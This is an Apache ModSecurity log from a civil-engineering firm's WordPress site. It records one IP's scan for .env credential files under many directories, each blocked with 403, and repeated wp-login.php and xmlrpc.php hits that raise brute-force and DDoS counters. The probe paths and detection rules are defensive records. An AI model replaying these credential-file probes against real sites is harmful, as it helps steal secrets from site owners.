[Wed Nov 26 21:44:43.298224 2025] [:error] [pid 20733:tid 20746] [client 3.25.55.238:35878] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/assets/.env.old"] [unique_id "aScESwV9EP2HuRvnH8d0JwAAAMs"]
[Wed Nov 26 21:44:43.357046 2025] [:error] [pid 20733:tid 20749] [client 3.25.55.238:35888] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/includes/.env"] [unique_id "aScESwV9EP2HuRvnH8d0KAAAAM4"]
[Wed Nov 26 21:44:43.422504 2025] [:error] [pid 20733:tid 20742] [client 3.25.55.238:35898] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/includes/.env.save"] [unique_id "aScESwV9EP2HuRvnH8d0KQAAAMc"]
[Wed Nov 26 21:44:43.484786 2025] [:error] [pid 20733:tid 20751] [client 3.25.55.238:35902] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/includes/.env.bak"] [unique_id "aScESwV9EP2HuRvnH8d0KgAAANA"]
[Wed Nov 26 21:44:43.546536 2025] [:error] [pid 45685:tid 45749] [client 3.25.55.238:35908] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/includes/.env.old"] [unique_id "aScES1j3f_NRdgU0DQ72qwAAAQc"]
[Wed Nov 26 21:44:43.606703 2025] [:error] [pid 45683:tid 45688] [client 3.25.55.238:35924] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/lib/.env"] [unique_id "aScESxX1gQgNFW_222rLCQAAAUA"]
[Wed Nov 26 21:44:43.662344 2025] [:error] [pid 20733:tid 20745] [client 3.25.55.238:35938] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/lib/.env.save"] [unique_id "aScESwV9EP2HuRvnH8d0LAAAAMo"]
[Wed Nov 26 21:44:43.723490 2025] [:error] [pid 45685:tid 45759] [client 3.25.55.238:35946] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/lib/.env.bak"] [unique_id "aScES1j3f_NRdgU0DQ72rAAAARE"]
[Wed Nov 26 21:44:43.792167 2025] [:error] [pid 6471:tid 6481] [client 3.25.55.238:35962] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/lib/.env.old"] [unique_id "aScES-h3Z9TZLlRuTiOzZwAAAIc"]
[Wed Nov 26 21:44:43.849197 2025] [:error] [pid 45683:tid 45712] [client 3.25.55.238:35976] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/application/.env"] [unique_id "aScESxX1gQgNFW_222rLCgAAAVg"]
[Wed Nov 26 21:44:43.908270 2025] [:error] [pid 45769:tid 45790] [client 3.25.55.238:35988] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/application/.env.save"] [unique_id "aScES1dG5Eht9c3yy4NB3gAAAdI"]
[Wed Nov 26 21:44:43.967821 2025] [:error] [pid 20733:tid 20740] [client 3.25.55.238:35996] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/application/.env.bak"] [unique_id "aScESwV9EP2HuRvnH8d0LQAAAMU"]
[Wed Nov 26 21:44:44.025125 2025] [:error] [pid 45683:tid 45699] [client 3.25.55.238:36008] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/application/.env.old"] [unique_id "aScETBX1gQgNFW_222rLCwAAAUs"]
[Wed Nov 26 21:44:44.091430 2025] [:error] [pid 6471:tid 6484] [client 3.25.55.238:36020] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/system/.env"] [unique_id "aScETOh3Z9TZLlRuTiOzaAAAAIo"]
[Wed Nov 26 21:44:44.151962 2025] [:error] [pid 45769:tid 45793] [client 3.25.55.238:36034] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/system/.env.save"] [unique_id "aScETFdG5Eht9c3yy4NB3wAAAdU"]
[Wed Nov 26 21:44:44.212302 2025] [:error] [pid 20733:tid 20735] [client 3.25.55.238:36048] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/system/.env.bak"] [unique_id "aScETAV9EP2HuRvnH8d0LgAAAMA"]
[Wed Nov 26 21:44:44.276517 2025] [:error] [pid 45683:tid 45700] [client 3.25.55.238:36064] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/system/.env.old"] [unique_id "aScETBX1gQgNFW_222rLDAAAAUw"]
[Wed Nov 26 21:44:44.335728 2025] [:error] [pid 20733:tid 20754] [client 3.25.55.238:36076] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/core/.env"] [unique_id "aScETAV9EP2HuRvnH8d0LwAAANM"]
[Wed Nov 26 21:44:44.401022 2025] [:error] [pid 46443:tid 46469] [client 3.25.55.238:36086] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/core/.env.save"] [unique_id "aScETMLmDsnHrj-QFB8QfwAAAFg"]
[Wed Nov 26 21:44:44.464952 2025] [:error] [pid 45685:tid 45747] [client 3.25.55.238:36100] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/core/.env.bak"] [unique_id "aScETFj3f_NRdgU0DQ72rQAAAQU"]
[Wed Nov 26 21:44:44.531130 2025] [:error] [pid 45684:tid 45729] [client 3.25.55.238:36110] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/core/.env.old"] [unique_id "aScETPg5LMxwI4-PD1eIfAAAAA4"]
[Wed Nov 26 21:44:44.596058 2025] [:error] [pid 45684:tid 45726] [client 3.25.55.238:36122] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/modules/.env"] [unique_id "aScETPg5LMxwI4-PD1eIfQAAAAs"]
[Wed Nov 26 21:44:44.655840 2025] [:error] [pid 46443:tid 46461] [client 3.25.55.238:36136] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/modules/.env.save"] [unique_id "aScETMLmDsnHrj-QFB8QgAAAAFA"]
[Wed Nov 26 21:44:44.718443 2025] [:error] [pid 45683:tid 45701] [client 3.25.55.238:36138] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/modules/.env.bak"] [unique_id "aScETBX1gQgNFW_222rLDQAAAU0"]
[Wed Nov 26 21:44:44.776614 2025] [:error] [pid 45685:tid 45744] [client 3.25.55.238:36148] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/modules/.env.old"] [unique_id "aScETFj3f_NRdgU0DQ72rgAAAQI"]
[Wed Nov 26 21:44:44.835324 2025] [:error] [pid 45684:tid 45731] [client 3.25.55.238:36164] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/plugins/.env"] [unique_id "aScETPg5LMxwI4-PD1eIfgAAABA"]
[Wed Nov 26 21:44:44.891745 2025] [:error] [pid 45684:tid 45718] [client 3.25.55.238:36178] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/plugins/.env.save"] [unique_id "aScETPg5LMxwI4-PD1eIfwAAAAM"]
[Wed Nov 26 21:44:44.952509 2025] [:error] [pid 45769:tid 45788] [client 3.25.55.238:36180] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/plugins/.env.bak"] [unique_id "aScETFdG5Eht9c3yy4NB4AAAAdA"]
[Wed Nov 26 21:44:45.014361 2025] [:error] [pid 6471:tid 6478] [client 3.25.55.238:41468] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/plugins/.env.old"] [unique_id "aScETeh3Z9TZLlRuTiOzagAAAIQ"]
[Wed Nov 26 21:44:45.071605 2025] [:error] [pid 20733:tid 20753] [client 3.25.55.238:41470] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/themes/.env"] [unique_id "aScETQV9EP2HuRvnH8d0MAAAANI"]
[Wed Nov 26 21:44:45.129262 2025] [:error] [pid 6471:tid 6474] [client 3.25.55.238:41478] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/themes/.env.save"] [unique_id "aScETeh3Z9TZLlRuTiOzawAAAIA"]
[Wed Nov 26 21:44:45.190310 2025] [:error] [pid 45683:tid 45709] [client 3.25.55.238:41492] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/themes/.env.bak"] [unique_id "aScETRX1gQgNFW_222rLDgAAAVU"]
[Wed Nov 26 21:44:45.249353 2025] [:error] [pid 45685:tid 45748] [client 3.25.55.238:41506] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/themes/.env.old"] [unique_id "aScETVj3f_NRdgU0DQ72sAAAAQY"]
[Wed Nov 26 21:44:45.310985 2025] [:error] [pid 46443:tid 46468] [client 3.25.55.238:41514] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/vendor/.env"] [unique_id "aScETcLmDsnHrj-QFB8QgQAAAFc"]
[Wed Nov 26 21:44:45.367874 2025] [:error] [pid 45769:tid 45780] [client 3.25.55.238:41518] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/vendor/.env.save"] [unique_id "aScETVdG5Eht9c3yy4NB4gAAAcg"]
[Wed Nov 26 21:44:45.425356 2025] [:error] [pid 46443:tid 46446] [client 3.25.55.238:41524] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/vendor/.env.bak"] [unique_id "aScETcLmDsnHrj-QFB8QggAAAEE"]
[Wed Nov 26 21:44:45.482709 2025] [:error] [pid 20733:tid 20750] [client 3.25.55.238:41526] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/vendor/.env.old"] [unique_id "aScETQV9EP2HuRvnH8d0MgAAAM8"]
[Wed Nov 26 21:44:45.543927 2025] [:error] [pid 46443:tid 46458] [client 3.25.55.238:41540] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/storage/.env"] [unique_id "aScETcLmDsnHrj-QFB8QgwAAAE0"]
[Wed Nov 26 21:44:45.613645 2025] [:error] [pid 45684:tid 45734] [client 3.25.55.238:41552] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/storage/.env.save"] [unique_id "aScETfg5LMxwI4-PD1eIggAAABM"]
[Wed Nov 26 21:44:45.673372 2025] [:error] [pid 45684:tid 45727] [client 3.25.55.238:41558] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/storage/.env.bak"] [unique_id "aScETfg5LMxwI4-PD1eIgwAAAAw"]
[Wed Nov 26 21:44:45.732667 2025] [:error] [pid 45684:tid 45738] [client 3.25.55.238:41562] [client 3.25.55.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/storage/.env.old"] [unique_id "aScETfg5LMxwI4-PD1eIhAAAABc"]
[Wed Nov 26 21:48:10.266950 2025] [:error] [pid 45769:tid 45785] [client 185.223.152.138:62925] [client 185.223.152.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScFGldG5Eht9c3yy4NCmAAAAc0"]
[Wed Nov 26 21:54:18.368668 2025] [:error] [pid 45684:tid 45736] [client 185.223.152.249:30639] [client 185.223.152.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.249, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScGivg5LMxwI4-PD1eM2wAAABU"]
[Wed Nov 26 22:04:14.471676 2025] [:error] [pid 45684:tid 45739] [client 185.223.152.84:34129] [client 185.223.152.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScI3vg5LMxwI4-PD1eRPwAAABg"]
[Wed Nov 26 22:08:38.099701 2025] [:error] [pid 20733:tid 20754] [client 185.223.152.140:60041] [client 185.223.152.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.140, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScJ5gV9EP2HuRvnH8d5mQAAANM"]
[Wed Nov 26 22:14:11.503819 2025] [:error] [pid 45684:tid 45738] [client 185.223.152.81:37837] [client 185.223.152.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScLM_g5LMxwI4-PD1eVeQAAABc"]
[Wed Nov 26 22:24:42.346422 2025] [:error] [pid 45684:tid 45725] [client 185.223.152.71:57007] [client 185.223.152.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.71, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScNqvg5LMxwI4-PD1eY7AAAAAo"]
[Wed Nov 26 22:34:57.142537 2025] [:error] [pid 45684:tid 45734] [client 185.223.152.81:54563] [client 185.223.152.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScQEfg5LMxwI4-PD1edcQAAABM"]
[Wed Nov 26 22:40:10.482989 2025] [:error] [pid 45769:tid 45776] [client 167.86.80.181:60608] [client 167.86.80.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.80.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aScRSldG5Eht9c3yy4NMuQAAAcQ"]
[Wed Nov 26 22:41:25.625563 2025] [:error] [pid 45685:tid 45758] [client 86.107.77.160:51086] [client 86.107.77.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.107.77.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aScRlVj3f_NRdgU0DQ4DXQAAARA"]
[Wed Nov 26 22:41:29.888950 2025] [:error] [pid 45769:tid 45794] [client 185.223.152.131:24923] [client 185.223.152.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.131, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScRmVdG5Eht9c3yy4NNBwAAAdY"]
[Wed Nov 26 22:45:36.968293 2025] [:error] [pid 45684:tid 45729] [client 185.223.152.90:33219] [client 185.223.152.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.90, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScSkPg5LMxwI4-PD1eh_AAAAA4"]
[Wed Nov 26 22:56:18.357264 2025] [:error] [pid 45684:tid 45725] [client 185.223.152.75:65469] [client 185.223.152.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.75, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScVEvg5LMxwI4-PD1emOwAAAAo"]
[Wed Nov 26 22:56:25.954497 2025] [:error] [pid 45683:tid 45711] [client 185.223.152.133:54505] [client 185.223.152.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScVGRX1gQgNFW_222rbpAAAAVc"]
[Wed Nov 26 23:06:30.757157 2025] [:error] [pid 45684:tid 45719] [client 130.49.216.133:61930] [client 130.49.216.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 130.49.216.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScXdvg5LMxwI4-PD1epFwAAAAQ"], referer: http://rcacivilgroup.com/wp-login.php?action=register
[Wed Nov 26 23:07:18.876707 2025] [:error] [pid 45769:tid 45795] [client 185.223.152.65:52833] [client 185.223.152.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.65, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScXpldG5Eht9c3yy4NR6wAAAdc"]
[Wed Nov 26 23:12:59.142020 2025] [:error] [pid 45684:tid 45723] [client 185.223.152.122:57325] [client 185.223.152.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.122, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aScY-_g5LMxwI4-PD1erPAAAAAg"]
